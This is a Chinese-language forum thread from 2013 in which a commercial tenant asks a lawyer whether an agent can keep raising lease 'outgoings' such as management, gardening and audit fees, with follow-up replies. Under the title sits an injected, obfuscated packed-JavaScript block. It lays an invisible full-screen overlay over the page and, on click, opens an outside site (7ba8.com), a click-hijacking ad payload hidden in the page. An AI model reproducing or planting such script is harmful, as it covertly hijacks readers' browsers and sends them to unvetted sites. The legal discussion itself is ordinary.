关于租房合约的outgoings

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>商业租房合同， 原来房东自己打理，11年12月已涨过房租 ，12年8月交给中介管理，中介从当月开始把outgoings涨了140%，多了很多没有的收费项目，例如gardening（没有garden，没有草坪花坛）、auditing、管理费啊……根本没有得到多付费用的服务，而且服务价格高的离谱，况且也不需要这些服务。多次与房东/中介交涉未果，态度很强硬。后来也找了两次律师，花了不少钱，有点怕了。合同上只有基本房租本身涨幅的约定，是根据CPI调。

第一个律师 看了合同， 回答模棱两可，outgoings可以涨，根据地区情况不同而不同，就没有下文了，律师费照收。

第二个看了合同后，就不直接回答，只是说outgoing的占比太高，现在经济不好不应该再涨了，然后一味建议我去做个第三方房租整体评估（含outgoing的），做出来多少钱就是多少钱，但是大概要收$6000的评估费用，和中介平摊，但律师费另收。想了很久，也没答应，就怕又上当。

这次中介又发信来，今年7月开始，outgoings在现有基础上再涨20%，与去年7月相比，差不多翻了3倍，占到房租总价的近40%。听朋友说，房东和中介有协议，房东不管中介怎么收房租和outgoing，中介保证房东的收益，房租涨不了的话，就涨outgoing。

一个朋友推荐，后来一看就是BBS上的郑律师，所以还是来您这里先免费咨询下：

outgoing到底是不是可以随便涨，有没有政府或法律规定，保证outgoing的合理水平，特别是每年的涨幅和占总房租的比重？

还是只能按照合同约定，或者没有约定就任凭中介涨？一年就翻了3倍。

或者能否告知一个政府性质相关的第三方管理咨询机构，我只要一个简单的答案，前面律师都不针对性的回答，如果答案是中介多次涨价完全合法合理，那我也只能认了。
谢谢！

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oliverrrrrrrr 发表于 2013-6-24 15:35
最近没见着郑律师回复啊

什么意思？郑律师on holiday？

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alvin.y 发表于 2013-6-24 16:30
什么意思？郑律师on holiday？

我不知道 只是这些天没见他回信息

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oliverrrrrrrr 发表于 2013-6-25 20:20
我不知道 只是这些天没见他回信息

耐心等几天吧！
或者其他有经验的朋友也可以帮忙回答下！

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tianwu_tianwu 发表于 2013-6-27 12:42
我们也为outgoing这个东西很恼火，audit这个费用是应该的，中介说他们的花费最后都有独立的audit来审，所以 ...

我只是举例原来都没有的费用，签合同的时候房东自己管理，去年突然交给只能中介，也没有向房客征求意见，增加了这些费用，凭什么要我承担。
而且增加的费用其实都在为房东服务，根本没看到有人来服务。outgoing占大头的是中介管理费和maintenance费用，从去年房东自己管理到今年7月，翻了3倍就太夸张了。
就没有讲理的地方吗？
说到审计费，这是中介给租赁双方（房东和租客）帐务证明，应该是自己承担的费用，怎么让租客负担，包括其他管理费等。

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alvin.y 发表于 2013-6-28 11:25
我只是举例原来都没有的费用，签合同的时候房东自己管理，去年突然交给只能中介，也没有向房客征求意见， ...

希望郑律师可以答复你的帖子，我也能从中借鉴

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        我认为你应该尽快将该份租约连同outgoing的资料交给一位资深的律师，拿取一个法律的意见 ，看看怎样减低这些费用的开支。
        整体来说，outgoing增幅的幅度是没有任何管制的，最主要是实报实销，及向租客交代开支的明细表。如果中介没有给你这些明细表，你可以要求中介提供这些单据。


此致
郑玉桂律师敬上
澳大利亚国际公证律师

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郑玉桂律师 发表于 2013-6-28 17:46
你好!有关商业租房问题，这种情况是相当普遍的。可能过往业主并没有好好管理，因此，到中介接手的时候，他们 ...

谢谢您的回复。

我的中介从去年8月接手，说outgoing是按budget，财年结束后多退少补（中介说基本不会多收的），目前还没有任何单据。
所以还有以下一些问题：
1、outgoing中最大就是管理费，这个原本是没有的，作为租客也没享受到中介的任何服务（与房东自己管理相比），这费用从0涨到6600。

2、如果中介能够提供outgoing上所列服务的所有单据，因为我的店每天都经营，事实上，没有看到有人来服务过，或者说所提供的服务价值远少于单据上金额，这个该如何同中介理论？
例如：
前段时间，有个空铺出租（闲置两年），中介进行装修，难道这个作为maintenance费用让租客分摊？这样的单据中介肯定能够提供，金额一般还不小。

停车场的水泥缝隙里有时会长出些杂草，去年到现在，只有夏天的时候有个工人来除下草，打些药水，两次合计不超半小时，这项费用就超2000。

public lighting，就路边一个广告牌，一根日光灯管而已，费用从240涨到990。

fire pretection，记得两个老头老太穿着便服，来检查石棉，只是看看，最多2分钟，没有任何仪器设备，费用从0涨到550。

还有inruarance,从2500涨到5600；audit，从0到605。
我的店铺面积最大，但是位置最不好，现在outgoing是按面积比例分摊，所以我的费用是最多的，涨幅也最大。

3、房东把租约交给中介管理，中介提供的服务（不管租客需不需要），都不需要跟租客协商？这些行为没有任何约束吗？中介可以无限制的增加服务费用，租客只能无条件接受？